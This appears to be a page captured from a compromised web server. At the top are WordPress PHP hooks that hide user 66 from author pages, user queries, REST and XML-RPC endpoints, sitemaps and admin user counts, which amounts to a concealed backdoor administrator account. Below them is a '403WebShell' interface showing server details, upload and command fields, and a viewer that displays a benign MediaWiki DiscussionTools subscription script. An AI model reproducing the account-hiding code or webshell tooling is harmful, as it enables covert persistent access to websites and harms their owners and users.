add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/DiscussionTools/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/DiscussionTools/modules/topicsubscriptions.js
/* global moment */
const
	STATE_UNSUBSCRIBED = 0,
	STATE_SUBSCRIBED = 1,
	STATE_AUTOSUBSCRIBED = 2,
	utils = require( './utils.js' ),
	CommentItem = require( './CommentItem.js' ),
	HeadingItem = require( './HeadingItem.js' );
let api,
	seenAutoTopicSubPopup = !!+mw.user.options.get( 'discussiontools-seenautotopicsubpopup' ),
	linksByName = {},
	buttonsByName = {};

/**
 * Update a subscribe link
 *
 * @param {HTMLElement} element Subscribe link
 * @param {number|null} state State constant (STATE_UNSUBSCRIBED, STATE_SUBSCRIBED or STATE_AUTOSUBSCRIBED)
 * @param {HTMLElement|null} labelElement Subscribe link, if different to element
 * @param {boolean} isNewTopics Is a subscribe link for new topics subscriptions
 */
function updateSubscribeLink( element, state, labelElement, isNewTopics ) {
	labelElement = labelElement || element;
	if ( state !== null ) {
		element.setAttribute( 'data-mw-subscribed', String( state ) );
	}
	if ( state ) {
		labelElement.textContent = mw.msg( isNewTopics ?
			'discussiontools-newtopicssubscription-button-unsubscribe-label' :
			'discussiontools-topicsubscription-button-unsubscribe' );
		element.setAttribute( 'title', mw.msg( isNewTopics ?
			'discussiontools-newtopicssubscription-button-unsubscribe-tooltip' :
			'discussiontools-topicsubscription-button-unsubscribe-tooltip' )
		);
	} else {
		labelElement.textContent = mw.msg( isNewTopics ?
			'discussiontools-newtopicssubscription-button-subscribe-label' :
			'discussiontools-topicsubscription-button-subscribe' );
		element.setAttribute( 'title', mw.msg( isNewTopics ?
			'discussiontools-newtopicssubscription-button-subscribe-tooltip' :
			'discussiontools-topicsubscription-button-subscribe-tooltip' )
		);
	}
}

/**
 * Update a subscribe button
 *
 * @param {OO.ui.ButtonWidget} button Subscribe button
 * @param {number|null} state State constant (STATE_UNSUBSCRIBED, STATE_SUBSCRIBED or STATE_AUTOSUBSCRIBED)
 */
function updateSubscribeButton( button, state ) {
	if ( state !== null ) {
		button.$element[ 0 ].setAttribute( 'data-mw-subscribed', String( state ) );
	}
	if ( state ) {
		button.setIcon( 'bell' );
		button.setLabel( mw.msg( 'discussiontools-topicsubscription-button-unsubscribe-label' ) );
		button.setTitle( mw.msg( 'discussiontools-topicsubscription-button-unsubscribe-tooltip' ) );
	} else {
		button.setIcon( 'bellOutline' );
		button.setLabel( mw.msg( 'discussiontools-topicsubscription-button-subscribe-label' ) );
		button.setTitle( mw.msg( 'discussiontools-topicsubscription-button-subscribe-tooltip' ) );
	}
}

/**
 * Change the subscription state of a topic subscription
 *
 * @param {string} title Page title
 * @param {string} commentName Comment name
 * @param {boolean} subscribe Subscription state
 * @param {boolean} isNewTopics Subscription is for new topics
 * @return {jQuery.Promise} Promise which resolves after change of state
 */
function changeSubscription( title, commentName, subscribe, isNewTopics ) {
	const promise = api.postWithToken( 'csrf', {
		action: 'discussiontoolssubscribe',
		page: title,
		commentname: commentName,
		subscribe: subscribe
	} ).then( ( response ) => OO.getProp( response, 'discussiontoolssubscribe' ) || {} );

	promise.then( ( result ) => {
		mw.notify(
			mw.msg(
				result.subscribe ?
					(
						isNewTopics ?
							'discussiontools-newtopicssubscription-notify-subscribed-body' :
							'discussiontools-topicsubscription-notify-subscribed-body'
					) :
					(
						isNewTopics ?
							'discussiontools-newtopicssubscription-notify-unsubscribed-body' :
							'discussiontools-topicsubscription-notify-unsubscribed-body'
					)
			),
			{
				title: mw.msg(
					result.subscribe ?
						(
							isNewTopics ?
								'discussiontools-newtopicssubscription-notify-subscribed-title' :
								'discussiontools-topicsubscription-notify-subscribed-title'
						) :
						(
							isNewTopics ?
								'discussiontools-newtopicssubscription-notify-unsubscribed-title' :
								'discussiontools-topicsubscription-notify-unsubscribed-title'
						)
				)
			}
		);
	}, ( code, data ) => {
		mw.notify( api.getErrorMessage( data ), { type: 'error' } );
	} );

	return promise;
}

function getSubscribedStateFromElement( element ) {
	return element.hasAttribute( 'data-mw-subscribed' ) ? Number( element.getAttribute( 'data-mw-subscribed' ) ) : null;
}

/**
 * Lazy load API to avoid circular dependency
 */
function initApi() {
	if ( !api ) {
		api = require( './controller.js' ).getApi();
	}
}

/**
 * Initialize topic subscriptions feature
 *
 * @param {jQuery} $container Page container
 * @param {ThreadItemSet} threadItemSet
 */
function initTopicSubscriptions( $container, threadItemSet ) {
	linksByName = {};
	buttonsByName = {};

	initApi();

	// Subscription buttons (visual enhancements)
	$container.find( '.ext-discussiontools-init-section-subscribeButton' ).each( ( i, element ) => {
		// These attributes will be lost when infusing
		// TODO: Could also be fixed by subclassing ButtonWidget in PHP
		const subscribedStateTemp = getSubscribedStateFromElement( element );

		const id = $( element ).closest( '.ext-discussiontools-init-section' )
			.find( '[data-mw-comment-start]' ).attr( 'id' );
		const headingItem = threadItemSet.findCommentById( id );

		if ( !( headingItem instanceof HeadingItem ) ) {
			// This should never happen
			return;
		}

		const name = headingItem.name;
		const button = OO.ui.infuse( element );
		buttonsByName[ name ] = button;

		// Restore data attribute
		if ( subscribedStateTemp !== null ) {
			button.$element[ 0 ].setAttribute( 'data-mw-subscribed', String( subscribedStateTemp ) );
		}

		const title = mw.config.get( 'wgRelevantPageName' ) + '#' + headingItem.getLinkableTitle();

		button.on( 'click', () => {
			// Get latest subscribedState
			const subscribedState = getSubscribedStateFromElement( button.$element[ 0 ] );

			button.setDisabled( true );
			changeSubscription( title, name, !subscribedState )
				.then( ( result ) => {
					updateSubscribeButton( button, result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED );
				} )
				.always( () => {
					button.setDisabled( false );
				} );
		} );
	} );

	// Subscription links (no visual enhancements)
	$container.find( '.ext-discussiontools-init-section-subscribe-link' ).each( ( i, link ) => {
		const $link = $( link );
		const id = $link.closest( '.ext-discussiontools-init-section' )
			.find( '[data-mw-comment-start]' ).attr( 'id' );
		const headingItem = threadItemSet.findCommentById( id );

		if ( !( headingItem instanceof HeadingItem ) ) {
			// This should never happen
			return;
		}

		const itemName = headingItem.name;
		const title = mw.config.get( 'wgRelevantPageName' ) + '#' + headingItem.getLinkableTitle();

		linksByName[ itemName ] = link;

		$link.on( 'click keypress', ( e ) => {
			if ( e.type === 'keypress' && e.which !== OO.ui.Keys.ENTER && e.which !== OO.ui.Keys.SPACE ) {
				// Only handle keypresses on the "Enter" or "Space" keys
				return;
			}
			if ( e.type === 'click' && !utils.isUnmodifiedLeftClick( e ) ) {
				// Only handle unmodified left clicks
				return;
			}

			e.preventDefault();

			// Get latest subscribedState
			const subscribedState = getSubscribedStateFromElement( $link[ 0 ] );

			$link.addClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
			changeSubscription( title, itemName, !subscribedState )
				.then( ( result ) => {
					updateSubscribeLink( $link[ 0 ], result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED );
				} )
				.always( () => {
					$link.removeClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
				} );
		} );
	} );

	initNewTopicsSubscription();
}

/**
 * Bind new topics subscription button
 *
 * Note: because this function can get called from `wikipage.content`,
 * and we're interacting with elements outside of $container, make
 * sure to account for this possibly being run multiple times on a
 * pageload. Calls from DT's own previews are filtered out, but other
 * page actions like live-preview can still reach this point.
 */
function initNewTopicsSubscription() {
	let $button, $label, $icon;

	initApi();

	if ( mw.config.get( 'skin' ) === 'minerva' ) {
		// eslint-disable-next-line no-jquery/no-global-selector
		$button = $( '.menu__item--page-actions-overflow-t-page-subscribe' );
		$label = $button.find( '.toggle-list-item__label' );
		$icon = $button.find( '.minerva-icon' );
		// HACK: We can't set data-mw-subscribed intially in Minerva, so work it out from the icon
		// eslint-disable-next-line no-jquery/no-class-state
		const initialState = $icon.hasClass( 'minerva-icon--bell' ) ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED;
		$button.attr( 'data-mw-subscribed', String( initialState ) );
	} else {
		// eslint-disable-next-line no-jquery/no-global-selector
		$button = $( '#ca-dt-page-subscribe > a' );
		$label = $button.find( 'span' );
		$icon = $( [] );
	}

	const titleObj = mw.Title.newFromText( mw.config.get( 'wgRelevantPageName' ) );
	const name = utils.getNewTopicsSubscriptionId( titleObj );

	$button.off( '.mw-dt-topicsubscriptions' ).on( 'click.mw-dt-topicsubscriptions', ( e ) => {
		e.preventDefault();
		// Get latest subscribedState
		const subscribedState = getSubscribedStateFromElement( $button[ 0 ] );

		changeSubscription( titleObj.getPrefixedText(), name, !subscribedState, true )
			.then( ( result ) => {
				updateSubscribeLink( $button[ 0 ], result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED, $label[ 0 ], true );
				$icon.toggleClass( 'minerva-icon--bell', !!result.subscribe );
				$icon.toggleClass( 'minerva-icon--bellOutline', !result.subscribe );
			} );
	} );
}

function initSpecialTopicSubscriptions() {
	api = require( './controller.js' ).getApi();

	// Unsubscribe links on special page
	// eslint-disable-next-line no-jquery/no-global-selector
	$( '.ext-discussiontools-special-unsubscribe-button' ).each( ( i, element ) => {
		const button = OO.ui.infuse( element );
		const data = button.getData();
		let subscribedState = STATE_SUBSCRIBED;

		button.on( 'click', () => {
			button.setDisabled( true );
			changeSubscription( data.title, data.item, !subscribedState )
				.then( ( result ) => {
					button.setLabel( mw.msg(
						result.subscribe ?
							'discussiontools-topicsubscription-button-unsubscribe-label' :
							'discussiontools-topicsubscription-button-subscribe-label'
					) );
					button.clearFlags();
					button.setFlags( [ result.subscribe ? 'destructive' : 'progressive' ] );
					subscribedState = result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED;
				} ).always( () => {
					button.setDisabled( false );
				} );
		} );
	} );
}

/**
 * Show the first time popup for auto topic subscriptions, if required
 */
function maybeShowFirstTimeAutoTopicSubPopup() {
	const lastHighlightComment = require( './highlighter.js' ).getLastHighlightedPublishedComment();

	if ( !lastHighlightComment || seenAutoTopicSubPopup ) {
		return;
	}

	seenAutoTopicSubPopup = true;
	mw.user.options.set( 'discussiontools-seenautotopicsubpopup', '1' );
	api.saveOption( 'discussiontools-seenautotopicsubpopup', '1' );

	let popup = null;

	function close() {
		popup.$element.removeClass( 'ext-discussiontools-autotopicsubpopup-fadein' );
		setTimeout( () => {
			popup.$element.detach();
		}, 1000 );
	}

	const $popupContent = $( '<div>' )
		.append(
			$( '<strong>' )
				.addClass( 'ext-discussiontools-autotopicsubpopup-title' )
				.text( mw.msg( 'discussiontools-autotopicsubpopup-title' ) ),
			$( '<div>' )
				.addClass( 'ext-discussiontools-autotopicsubpopup-image' ),
			$( '<div>' )
				.addClass( 'ext-discussiontools-autotopicsubpopup-body' )
				.text( mw.msg( 'discussiontools-autotopicsubpopup-body' ) ),
			$( '<div>' )
				.addClass( 'ext-discussiontools-autotopicsubpopup-actions' )
				.append( new OO.ui.ButtonWidget( {
					label: mw.msg( 'discussiontools-autotopicsubpopup-dismiss' ),
					flags: [ 'primary', 'progressive' ]
				} ).on( 'click', close ).$element )
				.append( new OO.ui.ButtonWidget( {
					label: mw.msg( 'discussiontools-autotopicsubpopup-preferences' ),
					href: mw.util.getUrl( 'Special:Preferences#mw-prefsection-editing-discussion' ),
					flags: [ 'progressive' ],
					framed: false
				} ).$element )
		);

	popup = new OO.ui.PopupWidget( {
		// Styles and dimensions
		width: '',
		height: '',
		anchor: false,
		autoClose: false,
		head: false,
		padded: false,
		classes: [ 'ext-discussiontools-autotopicsubpopup' ],
		hideWhenOutOfView: false,
		// Content
		$content: $popupContent.contents()
	} );

	// Like in highlight()
	lastHighlightComment.getRange().insertNode( popup.$element[ 0 ] );
	// Pull it outside of headings to avoid silly fonts
	if ( popup.$element.closest( 'h1, h2, h3, h4, h5, h6' ).length ) {
		popup.$element.closest( 'h1, h2, h3, h4, h5, h6' ).after( popup.$element );
	}
	if ( popup.$element.closest( '.mw-heading' ).length ) {
		popup.$element.closest( '.mw-heading' ).after( popup.$element );
	}

	// Disable positioning, the popup is positioned in CSS, above the highlight
	popup.toggle( true ).toggleClipping( false ).togglePositioning( false );

	// If the page is very short, there might not be enough space above the highlight,
	// causing the popup to overlap the skin navigation or even be off-screen.
	// Position it on top of the highlight in that case...
	// eslint-disable-next-line no-jquery/no-global-selector
	if ( popup.$popup[ 0 ].getBoundingClientRect().top < $( '.mw-body' )[ 0 ].getBoundingClientRect().top ) {
		popup.$popup.addClass( 'ext-discussiontools-autotopicsubpopup-overlap' );
	}

	// Scroll into view, leave some space above to avoid overlapping .postedit-container
	OO.ui.Element.static.scrollIntoView(
		popup.$popup[ 0 ],
		{
			padding: {
				// Add padding to avoid overlapping the post-edit notification (above on desktop, below on mobile)
				top: OO.ui.isMobile() ? 10 : 60,
				bottom: OO.ui.isMobile() ? 85 : 10
			},
			// Specify scrollContainer for compatibility with MobileFrontend.
			// Apparently it makes `<dd>` elements scrollable and OOUI tried to scroll them instead of body.
			scrollContainer: OO.ui.Element.static.getRootScrollableElement( popup.$popup[ 0 ] )
		}
	);

	popup.$element.addClass( 'ext-discussiontools-autotopicsubpopup-fadein' );
}

/**
 * Update the subscription state of various topics
 *
 * @param {jQuery} $container Page container
 * @param {Object.<string, HeadingItem>} headingsToUpdate Headings of topics where subscription state has changed
 */
function updateSubscriptionStates( $container, headingsToUpdate ) {
	// This method is called when we recently edited this page, and auto-subscriptions might have been
	// added for some topics. It updates the [subscribe] buttons to reflect the new subscriptions.

	// If the topic is already marked as auto-subscribed, there's nothing to do.
	// (Except maybe show the first-time popup.)
	// If the topic is marked as having never been subscribed, check if they are auto-subscribed now.
	const topicsToCheck = [];
	const pendingLinks = [];
	const pendingButtons = [];
	for ( const headingName in headingsToUpdate ) {
		const link = linksByName[ headingName ];
		const button = buttonsByName[ headingName ];
		const subscribedState = getSubscribedStateFromElement( link || button.$element[ 0 ] );

		if ( subscribedState === STATE_AUTOSUBSCRIBED ) {
			maybeShowFirstTimeAutoTopicSubPopup();
		} else if ( subscribedState === null || subscribedState === STATE_UNSUBSCRIBED ) {
			topicsToCheck.push( headingName );
			if ( link ) {
				pendingLinks.push( link );
			}
			if ( button ) {
				pendingButtons.push( button );
			}
		}
	}
	$( pendingLinks ).addClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
	pendingButtons.forEach( ( b ) => {
		b.setDisabled( true );
	} );

	if ( !topicsToCheck.length ) {
		return;
	}

	api.get( {
		action: 'discussiontoolsgetsubscriptions',
		commentname: topicsToCheck
	} ).then( ( response ) => {
		if ( $.isEmptyObject( response.subscriptions ) ) {
			// If none of the topics has an auto-subscription yet, wait a moment and check again.
			// updateSubscriptionStates() method is only called if we're really expecting one to be there.
			// (There are certainly neater ways to implement this, involving push notifications or at
			// least long-polling or something. But this is the simplest one!)
			const wait = $.Deferred();
			setTimeout( wait.resolve, 5000 );
			return wait.then( () => api.get( {
				action: 'discussiontoolsgetsubscriptions',
				commentname: topicsToCheck
			} ) );
		}
		return response;
	} ).then( ( response ) => {
		// Update state of each topic for which there is a subscription
		for ( const subItemName in response.subscriptions ) {
			const state = response.subscriptions[ subItemName ];
			if ( linksByName[ subItemName ] ) {
				updateSubscribeLink( linksByName[ subItemName ], state );
			}
			if ( buttonsByName[ subItemName ] ) {
				updateSubscribeButton( buttonsByName[ subItemName ], state );
			}
			if ( state === STATE_AUTOSUBSCRIBED ) {
				maybeShowFirstTimeAutoTopicSubPopup();
			}
		}
	} ).always( () => {
		$( pendingLinks ).removeClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
		pendingButtons.forEach( ( b ) => {
			b.setDisabled( false );
		} );
	} );
}

/**
 * Update subscription state of just-posted new topics
 *
 * @param {jQuery} $container Page container
 * @param {ThreadItemSet} threadItemSet
 * @param {string} [threadItemId] Just-posted comment ID (or NEW_TOPIC_COMMENT_ID)
 */
function updateAutoSubscriptionStates( $container, threadItemSet, threadItemId ) {
	const recentComments = [];
	const headingsToUpdate = {};
	if ( threadItemId ) {
		// Edited by using the reply tool or new topic tool. Only check the edited topic.
		if ( threadItemId === utils.NEW_TOPIC_COMMENT_ID ) {
			recentComments.push( threadItemSet.threadItems[ threadItemSet.threadItems.length - 1 ] );
		} else {
			recentComments.push( threadItemSet.threadItemsById[ threadItemId ] );
		}
	} else if ( mw.config.get( 'wgPostEdit' ) ) {
		// Edited by using wikitext editor. Check topics with their own comments within last minute.
		for ( let i = 0; i < threadItemSet.threadItems.length; i++ ) {
			if (
				threadItemSet.threadItems[ i ] instanceof CommentItem &&
				threadItemSet.threadItems[ i ].author === mw.user.getName() &&
				threadItemSet.threadItems[ i ].timestamp.isSameOrAfter( moment().subtract( 1, 'minute' ), 'minute' )
			) {
				recentComments.push( threadItemSet.threadItems[ i ] );
			}
		}
	}
	recentComments.forEach( ( recentComment ) => {
		const headingItem = recentComment.getSubscribableHeading();
		if ( headingItem ) {
			// Use names as object keys to deduplicate if there are multiple comments in a topic.
			headingsToUpdate[ headingItem.name ] = headingItem;
		}
	} );
	updateSubscriptionStates( $container, headingsToUpdate );
}

module.exports = {
	initTopicSubscriptions: initTopicSubscriptions,
	initSpecialTopicSubscriptions: initSpecialTopicSubscriptions,
	initNewTopicsSubscription: initNewTopicsSubscription,
	updateAutoSubscriptionStates: updateAutoSubscriptionStates
};

Youez - 2016 - github.com/yon3zu
LinuXploit